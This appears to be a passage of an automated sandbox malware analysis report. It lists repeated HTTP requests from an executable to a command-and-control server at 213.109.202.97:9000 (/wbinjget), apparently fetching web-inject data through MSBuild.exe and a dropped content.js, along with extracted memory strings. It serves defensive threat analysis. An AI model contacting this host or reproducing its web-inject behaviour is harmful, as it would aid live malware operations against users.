Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive

Source: Joe Sandbox View

ASN Name: UA-LINK-ASUA UA-LINK-ASUA

Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.202.97

Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 213.109.202.97:9000Connection: Keep-Alive

Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002CC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.109.202.97:
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002BB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.109.202.97:9000
Source: content.js.10.dr	String found in binary or memory: http://213.109.202.97:9000/
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002CC8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002BB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.109.202.97:9000/wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: http://crl.globalsign.com/gs/gscodesigng2.crl0
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: http://crl.globalsign.com/gs/gscodesignsha2g2.crl0
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingg2.crl0T
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0X
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0G
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: http://crl.globalsign.net/root.crl0
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: http://ocsp2.globalsign.com/gscodesigng20
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g20
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: MSBuild.exe, 0000000A.00000002.3938537264.00000000079D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purl.oen
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002BB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002BB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesigng2.crt04
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g2.crt08
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingg2.crt0
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe, 00000000.00000002.1496935577.0000000005A6D000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1790448145.0000000004D0D000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000007.00000002.1840861986.0000000004C1F000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000B.00000002.1899025755.0000000005025000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000016.00000002.3845785608.0000000004538000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
